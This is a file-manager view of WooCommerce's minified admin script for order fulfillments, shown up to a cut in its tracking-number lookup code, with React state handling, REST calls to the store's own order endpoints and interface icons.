Файловый менеджер - Редактировать - /home/iss2024/ras-store.com/wp-content/plugins/woocommerce/assets/client/admin/wp-admin-scripts/fulfillments.js
Ðазад
/*! For license information please see fulfillments.js.LICENSE.txt */ (()=>{"use strict";var e={94931:(e,t,o)=>{var r=o(51609),l=Symbol.for("react.element"),n=Symbol.for("react.fragment"),i=Object.prototype.hasOwnProperty,s=r.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,c={key:!0,ref:!0,__self:!0,__source:!0};function a(e,t,o){var r,n={},a=null,m=null;for(r in void 0!==o&&(a=""+o),void 0!==t.key&&(a=""+t.key),void 0!==t.ref&&(m=t.ref),t)i.call(t,r)&&!c.hasOwnProperty(r)&&(n[r]=t[r]);if(e&&e.defaultProps)for(r in t=e.defaultProps)void 0===n[r]&&(n[r]=t[r]);return{$$typeof:l,type:e,key:a,ref:m,props:n,_owner:s.current}}t.Fragment=n,t.jsx=a,t.jsxs=a},39793:(e,t,o)=>{e.exports=o(94931)},51609:e=>{e.exports=window.React}},t={};function o(r){var l=t[r];if(void 0!==l)return l.exports;var n=t[r]={exports:{}};return e[r](n,n.exports,o),n.exports}o.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return o.d(t,{a:t}),t},o.d=(e,t)=>{for(var r in t)o.o(t,r)&&!o.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},o.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),o.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var r={};o.r(r),o.d(r,{default:()=>We});var l=o(51609),n=o.n(l);const i=window.wp.element,s=window.wc.navigation,c=window.wc.tracks,a=window.wp.i18n,m=window.wp.components,d=window.wp.data,u=[...Object.values(window.wcFulfillmentSettings.providers??{}),{label:(0,a.__)("Other","woocommerce"),icon:null,value:"other",url:""}],f=window.wp.apiFetch;var h=o.n(f);const p=window.wp.url,_=(e,t)=>{if(e&&"object"==typeof e&&"message"in e&&"code"in e){const t=e;if("woocommerce_fulfillment_error"===t.code)return t.message}return t},w="SET_ORDER",x="SET_REFUNDS",g="SET_LOADING",v="SET_ERROR",j="SET_FULFILLMENTS",b="SET_FULFILLMENT",y="DELETE_FULFILLMENT",C={orderMap:{}},k={setOrder:(e,t)=>({type:w,orderId:e,order:t}),setRefunds:(e,t)=>({type:x,orderId:e,refunds:t}),setLoading:(e,t)=>({type:g,orderId:e,isLoading:t}),setError:(e,t)=>({type:v,orderId:e,error:t}),setFulfillments:(e,t)=>({type:j,orderId:e,fulfillments:t}),setFulfillment:(e,t,o)=>({type:b,orderId:e,fulfillmentId:t,fulfillment:o}),deleteFulfillmentRecord:(e,t)=>({type:y,orderId:e,fulfillmentId:t})},N={...k,saveFulfillment:(e,t,o)=>async({dispatch:r})=>{r.setLoading(e,!0),r.setError(e,null);try{const l=await h()({path:(0,p.addQueryArgs)(`/wc/v3/orders/${e}/fulfillments`,{notify_customer:o}),method:"POST",data:t,headers:{"Content-Type":"application/json","X-WC-Fulfillments-UI":"true"}});if(!l.id)throw new Error("Fulfillment ID is missing in response");r.setFulfillment(e,l.id,l)}catch(t){r.setError(e,_(t,"Failed to save fulfillment"))}finally{r.setLoading(e,!1)}},updateFulfillment:(e,t,o,r)=>async({dispatch:l})=>{if(l.setLoading(e,!0),l.setError(e,null),!t.id)return l.setError(e,"Fulfillment ID is required"),void l.setLoading(e,!1);try{const n=await h()({path:(0,p.addQueryArgs)(`/wc/v3/orders/${e}/fulfillments/${t.id}`,{notify_customer:o}),method:"PUT",data:{...t,customer_note:r},headers:{"Content-Type":"application/json","X-WC-Fulfillments-UI":"true"}});if(!n.id)throw new Error("Fulfillment ID is missing in response");l.setFulfillment(e,n.id,n)}catch(t){l.setError(e,_(t,"Failed to update fulfillment"))}finally{l.setLoading(e,!1)}},deleteFulfillment:(e,t,o)=>async({dispatch:r})=>{r.setLoading(e,!0),r.setError(e,null);try{await h()({path:(0,p.addQueryArgs)(`/wc/v3/orders/${e}/fulfillments/${t}`,{notify_customer:o}),method:"DELETE",headers:{"Content-Type":"application/json","X-WC-Fulfillments-UI":"true"}}),r.deleteFulfillmentRecord(e,t)}catch(t){r.setError(e,_(t,"Failed to delete fulfillment"))}finally{r.setLoading(e,!1)}}},E={getOrder:e=>async({dispatch:t})=>{t.setLoading(e,!0),t.setError(e,null);try{const o=await h()({path:`/wc/v3/orders/${e}`,method:"GET"});if(t.setOrder(e,o),o.refunds.length>0){const o=await h()({path:`/wc/v3/orders/${e}/refunds`,method:"GET"});t.setRefunds(e,o)}}catch(o){t.setError(e,o instanceof Error?o.message:"Failed to load order")}finally{t.setLoading(e,!1)}},readFulfillments:e=>async({dispatch:t})=>{t.setLoading(e,!0),t.setError(e,null);try{const o=await h()({path:`/wc/v3/orders/${e}/fulfillments`,method:"GET"});t.setFulfillments(e,o)}catch(o){t.setError(e,o instanceof Error?o.message:"Failed to load fulfillments")}finally{t.setLoading(e,!1)}}},S=(0,d.createReduxStore)("order/fulfillments",{reducer:function(e=C,t){const o=e.orderMap[t.orderId]||{order:null,refunds:[],fulfillments:[],loading:!1,error:null};switch(t.type){case w:return{...e,orderMap:{...e.orderMap,[t.orderId]:{...o,order:t.order}}};case x:return{...e,orderMap:{...e.orderMap,[t.orderId]:{...o,refunds:t.refunds}}};case g:return{...e,orderMap:{...e.orderMap,[t.orderId]:{...o,loading:t.isLoading}}};case v:return{...e,orderMap:{...e.orderMap,[t.orderId]:{...o,error:t.error}}};case j:return{...e,orderMap:{...e.orderMap,[t.orderId]:{...o,fulfillments:t.fulfillments}}};case b:return{...e,orderMap:{...e.orderMap,[t.orderId]:{...o,fulfillments:[...o.fulfillments.filter(e=>e.id!==t.fulfillmentId),t.fulfillment]}}};case y:return{...e,orderMap:{...e.orderMap,[t.orderId]:{...o,fulfillments:o.fulfillments.filter(e=>e.id!==t.fulfillmentId)}}};default:return e}},actions:N,selectors:{getState:e=>e,getOrder:(e,t)=>e.orderMap[t]?.order,getRefunds:(e,t)=>e.orderMap[t]?.refunds||[],isLoading:(e,t)=>!!e.orderMap[t]?.loading,getError:(e,t)=>e.orderMap[t]?.error||null,readFulfillments:(e,t)=>e.orderMap[t]?.fulfillments||[],readFulfillment:(e,t,o)=>e.orderMap[t]?.fulfillments?.find(e=>e.id===o)||null},resolvers:E});function F(e,t,o){if(!e)return o;const r=e.meta_data.find(e=>e.key===t)?.value;return r||o}function I(e){return F(e,"_items",[])}async function M(e){(0,d.dispatch)(S).invalidateResolution("getOrder",[e]);const t=await(0,d.resolveSelect)(S).getOrder(e);if(t){const o=t.meta_data.find(e=>"_fulfillment_status"===e.key)?.value??"no_fulfillments",r=document.querySelector(`.order-${e} td.fulfillment_status mark`);if(r){const e=window.wcFulfillmentSettings.order_fulfillment_statuses[o]||{label:(0,a.__)("Unknown","woocommerce"),background_color:"#f8f9fa",text_color:"#6c757d"},t=r.querySelector("span");if(t)t.textContent=e.label;else{const t=document.createElement("span");t.textContent=e.label,r.replaceChildren(t)}r.setAttribute("style",`background-color: ${e.background_color}; color: ${e.text_color};`)}}}function L(e){const t=u.find(t=>t.value===e);return t?t.label:""}(0,d.register)(S);const O="_shipping_option",T="_tracking_number",H="_tracking_url",R="_shipment_provider",D="_provider_name",P="tracking-number",B="manual-entry",V="no-info",U=P;var A=o(39793);const z={selectedOption:U,setSelectedOption:()=>{},trackingNumber:"",setTrackingNumber:()=>{},shipmentProvider:"",setShipmentProvider:()=>{},trackingUrl:"",setTrackingUrl:()=>{},providerName:"",setProviderName:()=>{}},Z=(0,l.createContext)(z),$=()=>{const e=n().useContext(Z);if(!e)throw new Error("useShipmentFormContext must be used within a ShipmentFormProvider");return e},q=({fulfillment:e=null,children:t})=>{const[o,r]=n().useState(z.selectedOption),[i,s]=n().useState(z.trackingNumber),[c,a]=n().useState(z.shipmentProvider),[m,d]=n().useState(z.trackingUrl),[u,f]=n().useState(z.providerName);n().useEffect(()=>{r(F(e,O,"tracking-number")),s(F(e,T,"")),a(F(e,R,"")),d(F(e,H,"")),f(F(e,D,""))},[e]);const h=(0,l.useMemo)(()=>({selectedOption:o,setSelectedOption:r,trackingNumber:i,setTrackingNumber:s,shipmentProvider:c,setShipmentProvider:a,trackingUrl:m,setTrackingUrl:d,providerName:u,setProviderName:f}),[o,r,i,s,c,a,m,d,u,f]);return(0,A.jsx)(Z.Provider,{value:h,children:t})},K=(0,l.createContext)({order:null,fulfillment:null,setFulfillment:()=>{},selectedItems:[],setSelectedItems:()=>{},notifyCustomer:!0,setNotifyCustomer:()=>{},customerNote:"",setCustomerNote:()=>{}}),W=()=>{const e=n().useContext(K);if(!e)throw new Error("useFulfillmentContext must be used within a FulfillmentProvider");return e},G=({order:e,fulfillment:t,items:o,children:r})=>{const[i,s]=n().useState(t??null),[c,a]=n().useState(!0),[m,d]=n().useState(""),{selectedOption:u,trackingNumber:f,trackingUrl:h,shipmentProvider:p,providerName:_}=$(),[w,x]=(0,l.useState)(o??[]);(0,l.useEffect)(()=>{x(o??[])},[o]),(0,l.useEffect)(()=>{s(e?.id?{id:t?.id??void 0,entity_id:String(e.id),entity_type:"WC_Order",is_fulfilled:t?.is_fulfilled??!1,status:t?.status??"unfulfilled",meta_data:[{id:0,key:O,value:u},{id:0,key:T,value:u===V?"":f},{id:0,key:H,value:u===V?"":h},{id:0,key:R,value:u===V?"":p},{id:0,key:D,value:u===V?"":_},{id:0,key:"_items",value:w.map(e=>({item_id:e.item_id,qty:e.selection.filter(e=>e.checked).length})).filter(e=>e.qty>0)}]}:null)},[e,f,h,p,_,u,t,w]);const g=(0,l.useMemo)(()=>({order:e,fulfillment:i,setFulfillment:s,selectedItems:w,setSelectedItems:x,notifyCustomer:c,setNotifyCustomer:a,customerNote:m,setCustomerNote:d}),[e,i,s,w,x,c,a,m,d]);return(0,A.jsx)(K.Provider,{value:g,children:r})},Q=window.wp.compose,Y=window.lodash,X=(e,t)=>I(t).map(t=>{const o=e.line_items.find(e=>e.id===t.item_id);return{item_id:t.item_id,item:o||{},selection:(0,Y.range)(t.qty).map(e=>({index:e,checked:!0}))}}),J=(e,t)=>{const o={};return e.forEach(e=>{o[e.item_id]={...e}}),t.forEach(e=>{o[e.item_id]?o[e.item_id].selection=[...o[e.item_id].selection,...e.selection].map((e,t)=>(e.index=t,e)):o[e.item_id]={...e}}),Object.values(o)},ee=(e,t)=>{const o={};return e.forEach(e=>{o[e.item_id]={...e}}),t.forEach(e=>{o[e.item_id]?(o[e.item_id].selection.splice(0,e.selection.length),o[e.item_id].selection=o[e.item_id].selection.map((e,t)=>(e.index=t,e))):o[e.item_id]={...e}}),Object.values(o)},te=(e,t,o=[])=>{let r=(e=>{const t=[];return e.line_items.forEach(e=>{t.push({item_id:e.id,item:e,selection:(0,Y.range)(e.quantity).map(e=>({index:e,checked:!1}))})}),t})(t);if(o.length>0){const e=o.reduce((e,t)=>{const o=t.line_items.map(e=>({item_id:r.find(t=>t.item.product_id===e.product_id)?.item_id||e.id,item:e,selection:(0,Y.range)(-e.quantity).map(e=>({index:e,checked:!0}))}));return J(e,o)},[]);r=ee(r,e)}if(e.length>0){const o=e.reduce((e,o)=>{const r=X(t,o);return J(e,r)},[]);r=ee(r,o)}return r.filter(e=>e.selection.length>0)},oe=(0,l.createContext)({fulfillments:[],setFulfillments:()=>{},order:null,setOrder:()=>{},refunds:[],setRefunds:()=>{},openSection:"",setOpenSection:()=>{},isEditing:!1,setIsEditing:()=>{}}),re=()=>{const e=n().useContext(oe);if(!e)throw new Error("useFulfillmentDrawerContext must be used within a FulfillmentDrawerProvider");return e},le=({orderId:e,children:t})=>{const[o,r]=(0,l.useState)("order"),[n,i]=(0,l.useState)(!1),[s,c]=(0,l.useState)(),[a,m]=(0,l.useState)(),[u,f]=(0,l.useState)();return(0,d.useSelect)(t=>{if(!e)return;const o=t(S),r=o.getOrder(e),l=o.readFulfillments(e),n=o.getRefunds(e);(0,Y.isEqual)(r,u)||(f(r),i(!1)),(0,Y.isEqual)(n,a)||(m(n??[]),i(!1)),(0,Y.isEqual)(l,s)||(c(l??[]),i(!1))},[e,s,u,a]),(0,l.useLayoutEffect)(()=>{u&&s&&te(s,u,a).length>0?r("order"):s&&1===s.length?r("fulfillment-"+s[0].id):s&&s.length>0?r("fulfillment-"+s[s.length-1].id):r("")},[e,s,u,a]),null===e?null:(0,A.jsx)(oe.Provider,{value:{fulfillments:s??[],setFulfillments:c,order:u??null,setOrder:f,refunds:a??[],setRefunds:m,openSection:o,setOpenSection:r,isEditing:n,setIsEditing:i},children:t})};function ne({setError:e}){const{setIsEditing:t}=re(),{order:o,fulfillment:r,notifyCustomer:n}=W(),[i,s]=(0,l.useState)(!1),{saveFulfillment:c}=(0,d.useDispatch)(S),u=(0,Q.useInstanceId)(ne,"save-draft-description");return(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(m.Button,{variant:"secondary",onClick:async()=>{if(e(null),!r||!o)return;if(0===I(r).length)return void e((0,a.__)("Select items to be fulfilled.","woocommerce"));s(!0),await c(o.id,r,n);const l=(0,d.select)(S).getError(o.id);l?e(l):(M(o.id),t(!1)),s(!1)},__next40pxDefaultSize:!0,isBusy:i,disabled:i,"aria-describedby":u,children:i?(0,a.__)("Saving…","woocommerce"):(0,a.__)("Save as draft","woocommerce")}),(0,A.jsx)("span",{id:u,className:"screen-reader-text",children:(0,a.__)("Saves the fulfillment without marking items as fulfilled","woocommerce")})]})}function ie({setError:e}){const{setIsEditing:t}=re(),{order:o,fulfillment:r,notifyCustomer:n}=W(),[i,s]=(0,l.useState)(!1),{saveFulfillment:c}=(0,d.useDispatch)(S),u=(0,Q.useInstanceId)(ie,"fulfill-items-description");return(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(m.Button,{variant:"primary",onClick:async()=>{if(e(null),!r||!o)return;if(0===I(r).length)return void e((0,a.__)("Select items to be fulfilled.","woocommerce"));s(!0),r.is_fulfilled=!0,r.status="fulfilled",await c(o.id,r,n);const l=(0,d.select)(S).getError(o.id);l?e(l):(M(o.id),t(!1)),s(!1)},__next40pxDefaultSize:!0,isBusy:i,disabled:i,"aria-describedby":u,children:i?(0,a.__)("Fulfilling…","woocommerce"):(0,a.__)("Fulfill items","woocommerce")}),(0,A.jsx)("span",{id:u,className:"screen-reader-text",children:(0,a.__)("Marks the selected items as fulfilled and updates their status","woocommerce")})]})}const se=window.wp.a11y,ce=window.wc.currency;var ae=o.n(ce);const me=window.wp.htmlEntities;function de({item:e,quantity:t,currency:o,editMode:r,toggleItem:n,isChecked:i,isIndeterminate:s}){const[c,d]=(0,l.useState)(!1),u=(0,l.useContext)(ce.CurrencyContext),f=u.getCurrencyConfig(),h=(e,t)=>{if(t||(t=f?.code||"USD"),f&&f.code===t)return u.formatAmount(e);const o=window.wcFulfillmentSettings.currency_symbols[t];return o?ae()({...f,symbol:(0,me.decodeEntities)(o),symbolPosition:f.symbolPosition,code:t}).formatAmount(e):`${t}${e}`};return(0,A.jsxs)(A.Fragment,{children:[(0,A.jsxs)("div",{className:["woocommerce-fulfillment-item-container",c?"woocommerce-fulfillment-item-expanded":""].join(" "),children:[r&&(0,A.jsx)("div",{className:"woocommerce-fulfillment-item-checkbox",children:(0,A.jsx)(m.CheckboxControl,{value:e.id,checked:i(e.id,-1),onChange:t=>{n(e.id,-1,t)},indeterminate:s(e.id),__nextHasNoMarginBottom:!0,"aria-label":e.name})}),r&&t>1&&(0,A.jsx)(m.Button,{onClick:()=>{d(!c)},"aria-label":c?(0,a.__)("Collapse item details","woocommerce"):(0,a.__)("Expand item details","woocommerce"),"aria-expanded":c,className:"woocommerce-fulfillment-item-expand-button",children:(0,A.jsx)(m.Icon,{icon:c?"arrow-up-alt2":"arrow-down-alt2","aria-hidden":"true",size:16})}),(0,A.jsxs)("div",{className:"woocommerce-fulfillment-item-title",children:[(0,A.jsx)("div",{className:"woocommerce-fulfillment-item-image-container",children:e.image?.src&&(0,A.jsx)("img",{src:e.image?.src,alt:e.name,width:32,height:32,className:"woocommerce-fulfillment-item-image"})}),(0,A.jsxs)("div",{className:"woocommerce-fulfillment-item-name-sku",children:[(0,A.jsx)("div",{className:"woocommerce-fulfillment-item-name",children:e.name}),e.sku&&(0,A.jsx)("span",{className:"woocommerce-fulfillment-item-sku",children:e.sku})]})]}),t>1&&(0,A.jsx)("div",{className:"woocommerce-fulfillment-item-quantity",children:"x"+t}),(0,A.jsx)("div",{className:"woocommerce-fulfillment-item-price",children:h(parseFloat(e.total)*(t/e.quantity),o)})]}),r&&c&&(0,A.jsx)("div",{className:"woocommerce-fulfillment-item-expansion",children:(0,Y.range)(t).map(t=>(0,A.jsxs)("div",{className:"woocommerce-fulfillment-item-expansion-row",children:[r&&(0,A.jsx)("div",{className:"woocommerce-fulfillment-item-checkbox",children:(0,A.jsx)(m.CheckboxControl,{name:`fulfillment-item-${e.id}-${t}`,value:e.id+"-"+t,checked:i(e.id,t),onChange:o=>{n(e.id,t,o)},"aria-label":`${e.name} - item ${t+1}`,__nextHasNoMarginBottom:!0})}),(0,A.jsxs)("div",{className:"woocommerce-fulfillment-item-title",children:[(0,A.jsx)("div",{className:"woocommerce-fulfillment-item-image-container",children:(0,A.jsx)("img",{src:e.image.src,alt:"",width:32,height:32,className:"woocommerce-fulfillment-item-image"})}),(0,A.jsxs)("div",{className:"woocommerce-fulfillment-item-name-sku",children:[(0,A.jsx)("div",{className:"woocommerce-fulfillment-item-name",children:e.name}),e.sku&&(0,A.jsx)("span",{className:"woocommerce-fulfillment-item-sku",children:e.sku})]})]}),(0,A.jsx)("div",{className:"woocommerce-fulfillment-item-price",children:h(parseInt(e.total,10)/e.quantity,o)})]},"fulfillment-item-expansion-"+t))})]})}function ue({editMode:e}){const{order:t,selectedItems:o,setSelectedItems:r}=W(),l=o.reduce((e,t)=>e+t.selection.length,0),n=o.reduce((e,t)=>e+t.selection.filter(e=>e.checked).length,0),i=(e,t,l)=>{if(t<0)return void r([...o.map(t=>t.item_id===e?{...t,selection:t.selection.map(e=>({...e,checked:l}))}:t)]);r([...o.map(o=>(o.item_id===e&&o.selection.map(e=>(e.index===t&&(e.checked=l),e)),o))]);const n=o.find(t=>t.item_id===e);n&&(0,se.speak)((0,a.sprintf)((0,a.__)("%1$s %2$s.","woocommerce"),n.item.name,l?(0,a.__)("selected","woocommerce"):(0,a.__)("deselected","woocommerce")),"polite")},s=(e,t)=>{if(t<0)return o.some(t=>t.item_id===e&&t.selection.every(e=>e.checked));const r=o.find(t=>t.item_id===e);if(!r)return!1;const l=r.selection.find(e=>e.index===t);return!!l&&l.checked},c=e=>{const t=o.find(t=>t.item_id===e);if(!t)return!1;const r=t.selection.filter(e=>e.checked).length;return r>0&&r<t.selection.length};return(0,A.jsxs)("ul",{className:"woocommerce-fulfillment-item-list","aria-label":(0,a.__)("Select items for fulfillment","woocommerce"),children:[(0,A.jsx)("li",{children:(0,A.jsxs)("div",{className:"woocommerce-fulfillment-item-bulk-select",children:[e&&(0,A.jsx)(m.CheckboxControl,{onChange:()=>{n===l?(r(o.map(e=>({...e,selection:e.selection.map(e=>({...e,checked:!1}))}))),(0,se.speak)((0,a.__)("All items deselected.","woocommerce"),"polite")):(r(o.map(e=>({...e,selection:e.selection.map(e=>({...e,checked:!0}))}))),(0,se.speak)((0,a.sprintf)((0,a._n)("%d item selected.","%d items selected.",l,"woocommerce"),l),"polite"))},checked:n===l,indeterminate:n>0&&n<l,"aria-label":n===l?(0,a.__)("Deselect all items","woocommerce"):(0,a.__)("Select all items","woocommerce"),__nextHasNoMarginBottom:!0}),(0,A.jsx)("div",{className:"woocommerce-fulfillment-item-bulk-select__label",children:(0,a.sprintf)((0,a._n)("%s selected","%s selected",n,"woocommerce"),n)})]})}),o.map(o=>(0,A.jsx)("li",{children:(0,A.jsx)(de,{item:o.item,quantity:o.selection.length,editMode:e,currency:t?.currency??"",toggleItem:i,isChecked:s,isIndeterminate:c})},o.item_id))]})}function fe({error:e}){const t=(0,l.useRef)(null);return(0,l.useLayoutEffect)(()=>{e&&t.current?.scrollIntoView({behavior:"smooth",block:"start",inline:"nearest"})},[e]),(0,A.jsxs)("div",{className:"woocommerce-fulfillment-error-label",ref:t,children:[(0,A.jsx)("span",{className:"woocommerce-fulfillment-error-label__icon","aria-hidden":"true",children:(0,A.jsxs)("svg",{width:"16",height:"16",viewBox:"0 0 16 16",fill:"none",xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",children:[(0,A.jsx)("path",{d:"M7.99996 13.3333C10.9455 13.3333 13.3333 10.9455 13.3333 7.99996C13.3333 5.05444 10.9455 2.66663 7.99996 2.66663C5.05444 2.66663 2.66663 5.05444 2.66663 7.99996C2.66663 10.9455 5.05444 13.3333 7.99996 13.3333Z",strokeWidth:"1.5"}),(0,A.jsx)("path",{d:"M8.66671 4.66663H7.33337V8.66663H8.66671V4.66663Z"}),(0,A.jsx)("path",{d:"M8.66671 10H7.33337V11.3333H8.66671V10Z"})]})}),(0,A.jsx)("span",{className:"woocommerce-fulfillment-error-label__text",children:e})]})}const he=()=>(0,A.jsx)("svg",{width:"12",height:"12",viewBox:"0 0 12 12",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:(0,A.jsx)("path",{d:"M6.75 0.75C4.275 0.75 2.25 2.775 2.25 5.25C2.25 6.3 2.625 7.275 3.225 8.025L0.375 10.875L1.2 11.7L4.05 8.85C4.8 9.45 5.775 9.825 6.825 9.825C9.3 9.825 11.325 7.8 11.325 5.325C11.325 2.85 9.225 0.75 6.75 0.75ZM6.75 8.625C4.875 8.625 3.375 7.125 3.375 5.25C3.375 3.375 4.875 1.875 6.75 1.875C8.625 1.875 10.125 3.375 10.125 5.25C10.125 7.125 8.625 8.625 6.75 8.625Z",fill:"#1E1E1E"})}),pe=()=>(0,A.jsx)("svg",{width:"18",height:"14",viewBox:"0 0 18 14",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:(0,A.jsx)("path",{fillRule:"evenodd",clipRule:"evenodd",d:"M0.5 1.75C0.5 0.783502 1.2835 0 2.25 0L12.5 0V3H14.5607L18 6.43934V8.75C18 9.7165 17.2165 10.5 16.25 10.5H16.2377C16.2458 10.5822 16.25 10.6656 16.25 10.75C16.25 12.1307 15.1307 13.25 13.75 13.25C12.3693 13.25 11.25 12.1307 11.25 10.75C11.25 10.6656 11.2542 10.5822 11.2623 10.5H7.23766C7.24582 10.5822 7.25 10.6656 7.25 10.75C7.25 12.1307 6.13071 13.25 4.75 13.25C3.36929 13.25 2.25 12.1307 2.25 10.75C2.25 10.6656 2.25418 10.5822 2.26234 10.5H0.5V1.75ZM11 9V1.5H2.25C2.11193 1.5 2 1.61193 2 1.75V9H2.96464C3.41837 8.53716 4.05065 8.25 4.75 8.25C5.44935 8.25 6.08163 8.53716 6.53536 9H11ZM15.5354 9H16.25C16.3881 9 16.5 8.88807 16.5 8.75V7.06066L13.9393 4.5H12.5V8.58446C12.8677 8.37174 13.2946 8.25 13.75 8.25C14.4493 8.25 15.0816 8.53716 15.5354 9ZM3.7815 10.5C3.76094 10.5799 3.75 10.6637 3.75 10.75C3.75 11.3023 4.19772 11.75 4.75 11.75C5.30228 11.75 5.75 11.3023 5.75 10.75C5.75 10.6637 5.73906 10.5799 5.7185 10.5C5.60749 10.0687 5.21596 9.75 4.75 9.75C4.28404 9.75 3.89251 10.0687 3.7815 10.5ZM12.7815 10.5C12.7609 10.5799 12.75 10.6637 12.75 10.75C12.75 11.3023 13.1977 11.75 13.75 11.75C14.3023 11.75 14.75 11.3023 14.75 10.75C14.75 10.6637 14.7391 10.5799 14.7185 10.5C14.7144 10.4841 14.7099 10.4683 14.705 10.4526C14.5784 10.0456 14.1987 9.75 13.75 9.75C13.284 9.75 12.8925 10.0687 12.7815 10.5Z",fill:"#1E1E1E"})}),_e=()=>(0,A.jsx)("svg",{width:"16",height:"16",viewBox:"0 0 16 16",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:(0,A.jsx)("path",{d:"M14 1.5H2C1.86739 1.5 1.74021 1.55268 1.64645 1.64645C1.55268 1.74021 1.5 1.86739 1.5 2V14C1.5 14.1326 1.55268 14.2598 1.64645 14.3536C1.74021 14.4473 1.86739 14.5 2 14.5H14C14.1326 14.5 14.2598 14.4473 14.3536 14.3536C14.4473 14.2598 14.5 14.1326 14.5 14V2C14.5 1.86739 14.4473 1.74021 14.3536 1.64645C14.2598 1.55268 14.1326 1.5 14 1.5ZM2 0H14C14.5304 0 15.0391 0.210714 15.4142 0.585786C15.7893 0.960859 16 1.46957 16 2V14C16 14.5304 15.7893 15.0391 15.4142 15.4142C15.0391 15.7893 14.5304 16 14 16H2C1.46957 16 0.960859 15.7893 0.585786 15.4142C0.210714 15.0391 0 14.5304 0 14V2C0 1.46957 0.210714 0.960859 0.585786 0.585786C0.960859 0.210714 1.46957 0 2 0ZM3 5H4.5V6.5H3V5ZM4.5 9.5H3V11H4.5V9.5ZM6 5H13V6.5H6V5ZM13 9.5H6V11H13V9.5Z",fill:"#1E1E1E"})}),we=()=>(0,A.jsx)("svg",{width:"18",height:"14",viewBox:"0 0 18 14",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:(0,A.jsx)("path",{fillRule:"evenodd",clipRule:"evenodd",d:"M0 2C0 0.89543 0.895431 0 2 0H16C17.1046 0 18 0.895431 18 2V12C18 13.1046 17.1046 14 16 14H2C0.89543 14 0 13.1046 0 12V2ZM2 1.5H16C16.2761 1.5 16.5 1.72386 16.5 2V2.93754L9.00005 8.5625L1.5 2.93746V2C1.5 1.72386 1.72386 1.5 2 1.5ZM1.5 4.81246V12C1.5 12.2761 1.72386 12.5 2 12.5H16C16.2761 12.5 16.5 12.2761 16.5 12V4.81254L9.00005 10.4375L1.5 4.81246Z",fill:"#1E1E1E"})}),xe=({copyText:e})=>{const[t,o]=(0,l.useState)(!1),r=(0,l.useRef)();return(0,l.useEffect)(()=>()=>{r.current&&clearTimeout(r.current)},[]),(0,A.jsx)(m.Button,{size:"small",iconSize:14,onClick:t=>{t.stopPropagation(),navigator.clipboard.writeText(e).then(()=>{o(!0),r.current&&clearTimeout(r.current),r.current=setTimeout(()=>o(!1),2e3)},e=>{console.error("Failed to copy to clipboard:",e)})},icon:t?(0,A.jsx)("svg",{width:"14",height:"14",viewBox:"0 0 14 14",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:(0,A.jsx)("path",{d:"M5.25 10.5L1.75 7L2.6275 6.1225L5.25 8.7375L11.3725 2.625L12.25 3.5L5.25 10.5Z",fill:"#008A20"})}):(0,A.jsx)("svg",{width:"14",height:"14",viewBox:"0 0 14 14",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:(0,A.jsx)("path",{fillRule:"evenodd",clipRule:"evenodd",d:"M1.68815 1.5835H9.81315C9.87065 1.5835 9.91732 1.63016 9.91732 1.68766V9.81266C9.91732 9.84029 9.90634 9.86679 9.88681 9.88632C9.86727 9.90586 9.84078 9.91683 9.81315 9.91683H1.68815C1.66052 9.91683 1.63403 9.90586 1.61449 9.88632C1.59496 9.86679 1.58398 9.84029 1.58398 9.81266V1.68766C1.58398 1.63016 1.63065 1.5835 1.68815 1.5835ZM0.333984 1.68766C0.333984 0.940163 0.940651 0.333496 1.68815 0.333496H9.81315C10.5615 0.333496 11.1673 0.940163 11.1673 1.68766V9.81266C11.1673 10.561 10.5615 11.1668 9.81315 11.1668H1.68815C1.329 11.1668 0.984566 11.0242 0.730611 10.7702C0.476655 10.5162 0.333984 10.1718 0.333984 9.81266V1.68766ZM12.4173 11.401V3.901H13.6673V11.401C13.6673 12.6668 12.6423 13.6668 11.3765 13.6668H2.20898V12.4168H11.3765C11.9515 12.4168 12.4173 11.9768 12.4173 11.401Z",fill:"#949494"})}),"aria-label":t?"Copied":"Copy",label:t?"Copied":"Copy",__next40pxDefaultSize:!0})},ge=()=>(0,A.jsx)("svg",{width:"16",height:"16",viewBox:"0 0 12 14",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:(0,A.jsx)("path",{d:"M11.8333 2.83301L9.33329 0.333008L2.24996 7.41634L1.41663 10.7497L4.74996 9.91634L11.8333 2.83301ZM5.99996 12.4163H0.166626V13.6663H5.99996V12.4163Z",fill:"#1E1E1E"})}),ve=({providerKey:e})=>{const t=u.find(t=>t.value===e);return t?(0,A.jsx)("div",{className:"woocommerce-fulfillment-shipment-provider-icon",children:t.icon?(0,A.jsx)("img",{src:t.icon,alt:t.label},e):(0,A.jsx)(pe,{})}):null};function je(){const[e,t]=(0,l.useState)(""),[o,r]=(0,l.useState)(!1),[n,i]=(0,l.useState)(null),[s,c]=(0,l.useState)(!1),[d,u]=(0,l.useState)(!1),f=(0,l.useRef)(null),{order:_}=W(),w=(0,Q.useInstanceId)(je,"tracking-number-error"),x=(0,Q.useInstanceId)(je,"finding-status"),g=(0,Q.useInstanceId)(je,"provider-ambiguity-notice"),{trackingNumber:v,setTrackingNumber:j,trackingUrl:b,setTrackingUrl:y,setProviderName:C,shipmentProvider:k,setShipmentProvider:N,setSelectedOption:E}=$();(0,l.useEffect)(()=>{i(null)},[_?.id]);const S=async()=>{i(null);try{u(!0);const t=await h()({path:(0,p.addQueryArgs)(`/wc/v3/orders/${_?.id}/fulfillments/lookup`,{tracking_number:e.trim()}),method:"GET"});if(!t.tracking_number){const e=(0,a.__)("No information found for this tracking number. Check the number or enter the details manually.","woocommerce");return i(e),void(0,se.speak)(e,"assertive")}if(r(!1),t.possibilities&&Object.keys(t.possibilities).length>1){const 